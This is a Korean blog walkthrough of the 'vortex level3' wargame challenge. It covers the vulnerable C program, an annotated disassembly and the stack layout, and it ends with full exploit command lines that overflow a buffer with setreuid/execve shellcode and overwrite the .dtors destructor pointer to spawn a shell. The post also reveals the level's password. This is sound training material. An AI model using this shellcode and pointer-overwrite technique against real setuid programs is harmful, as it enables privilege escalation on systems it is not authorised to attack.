vortex level3
*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
unsigned long val = 31337;
unsigned long *lp = &val;
int main(int argc, char **argv)
{
unsigned long **lpp = &lp, *tmp;
char buf[128];
if (argc != 2)
exit(1);
strcpy(buf, argv[1]);
if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
exit(2);
tmp = *lpp;
**lpp = (unsigned long) &buf;
*lpp = tmp;
exit(0);
}
level3의 소스. strcpy를 이용한 BOF 가 가능할 것으로 보인다. 서버에서 디버깅을 해보았다.
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x98,%esp 스택을 0x98만큼 확장
0x08048365 <main+9>: and $0xfffffff0,%esp
0x08048368 <main+12>: mov $0x0,%eax
0x0804836d <main+17>: sub %eax,%esp
0x0804836f <main+19>: movl $0x80494a0,-0xc(%ebp) 0x80494a0 의 값을 lpp(ebp) -12 에 넣는다.
0x08048376 <main+26>: cmpl $0x2,0x8(%ebp) argc(ebp + 8)와 2를 비교
0x0804837a <main+30>: je 0x8048386 <main+42>
0x0804837c <main+32>: sub $0xc,%esp
0x0804837f <main+35>: push $0x1
0x08048381 <main+37>: call 0x804828c exit@plt argc가 2가 아니면 exit 호출.
0x08048386 <main+42>: sub $0x8,%esp
0x08048389 <main+45>: mov 0xc(%ebp),%eax argv[0]을 eax에 넣는다.
0x0804838c <main+48>: add $0x4,%eax argv[0] + 4
0x0804838f <main+51>: pushl (%eax) argv[1]의 주소를 스택에 넣는다.
0x08048391 <main+53>: lea -0x98(%ebp),%eax ebp - 0x98 (152) 의 주소를 eax에 push
0x08048397 <main+59>: push %eax
0x08048398 <main+60>: call 0x804829c <strcpy@plt> strcpy 호출
0x0804839d <main+65>: add $0x10,%esp
0x080483a0 <main+68>: mov -0xc(%ebp),%eax lpp 를 eax로 옮기고
0x080483a3 <main+71>: and $0xffff0000,%eax 0xffff0000 와 and 연산
0x080483a8 <main+76>: cmp $0x8040000,%eax 0x8040000 와 같으면
0x080483ad <main+81>: je 0x80483b9 <main+93> main + 93 으로 jump
0x080483af <main+83>: sub $0xc,%esp
0x080483b2 <main+86>: push $0x2
0x080483b4 <main+88>: call 0x804828c <exit@plt> exit(2);
0x080483b9 <main+93>: mov -0xc(%ebp),%eax lpp를 eax로
0x080483bc <main+96>: mov (%eax),%eax lpp가 가리키는 값을 eax로 넣는다
0x080483be <main+98>: mov %eax,-0x10(%ebp) eax 를 ebp - 0x10으로 (tmp = *lpp)
0x080483c1 <main+101>: mov -0xc(%ebp),%eax
0x080483c4 6 <main+106>: lea -0x98(%ebp),%eax buf의 주소(ebp - 98)를 eax에 넣는다
0x080483cc <main+112>: mov %eax,(%edx) eax를 edx가 포인팅하는 주소로(**lpp = &buf)
0x080483ce <main+114>: mov -0xc(%ebp),%edx lpp를 edx로
0x080483d1 <main+117>: mov -0x10(%ebp),%eax tmp를 eax로
0x080483d4 <main+120>: mov %eax,(%edx) tmp의 값을 lpp가 가키리는 곳에 넣는다 *lpp = tmp
0x080483d6 <main+122>: sub $0xc,%esp
0x080483d9 <main+125>: push $0x0
0x080483db <main+127>: call 0x804828c <exit@plt>
End of assembler dump
스택의 모습을 그려보면 아래와 같다.
[buf ] [ dummy] [ tmp ] [ lpp ] [ dummy ] [ebp] [ret]
128 8 4 4 8 4 4
먼저 기본적인 BOF를 시도해보았다.
[shellcode] [NULL] [lpp] [padding][shellcode`s address]
34 106 4 12 4
/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\xa0\x94\x04\x08'
+'\x90'*12+'\x40\xf5\x7f\xbf'"`
Shellcode는 shell-storm.org에서 setreuid 를 사용한 34 바이트 짜리를 사용.
(http://www.shell-storm.org/shellcode/files/shellcode-399.php)
세그먼트 폴트가 발생하며 종료되었다. 확인해보니 return address 가 buf의 주소로 바뀌었지만 쉘은 떨어
지지 않았다. 아마도 exit 함수로 바로 종료되기 때문일 것이다.
문제에 첨부된 문서대로 DTOR_END를 이용해보자
DTOR_END의 주소는 08049574에서 4를 더한 08049578 이다.
[shellcode] [NULL] [lpp]
/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89
\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x78\x95\x04
\x08'"`
위와 같이 실행하면 0x080483cc 에서 세그 폴트가 발생한다. 0x080483cc는 바로 이 부분이다.
**lpp = (unsigned long) &buf;
DTOR_END의 주소인 08049578을 그대로 써주면 이 주소에 있는 값인 0 이 포인팅하는 곳에 값을 넣으려해서
에러가 발생하게 된다. 원하는 곳을 가리키기 위해서 08049578를 가리키는 0804xxxx 주소가 필요하다.
어디서 이 주소를 구할수 있을까 한참을 삽질하다 스파게티코더님 블로그(http://semtle.tistory.com/146)
에서 원하는 정보를 얻을 수 있었다.
"용자여.. __DTOR_END__ 를 가리키고 있는 p.0 섹션이라는게 존재한답니다."
아 이런녀석이 있는지 전혀 몰랐다.. objdump로 .data 영역의 컨텐츠를 긁어봐도 p.0 섹션을 확인할 수 있다.
최종적으로 요렇게 입력해서 2YmgK1=jw 라는 패스워드를 겟
/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x98\x94\x04\x08'"`
'War game > vortex' 카테고리의 다른 글
vortex12 (0) | 2014.01.02 |
---|---|
Vortex11 (3) | 2013.04.02 |
vortex level10 (0) | 2011.04.18 |
vortex level8 (0) | 2010.12.09 |
vortex level1 (0) | 2009.09.24 |
vortex level0 (0) | 2009.09.23 |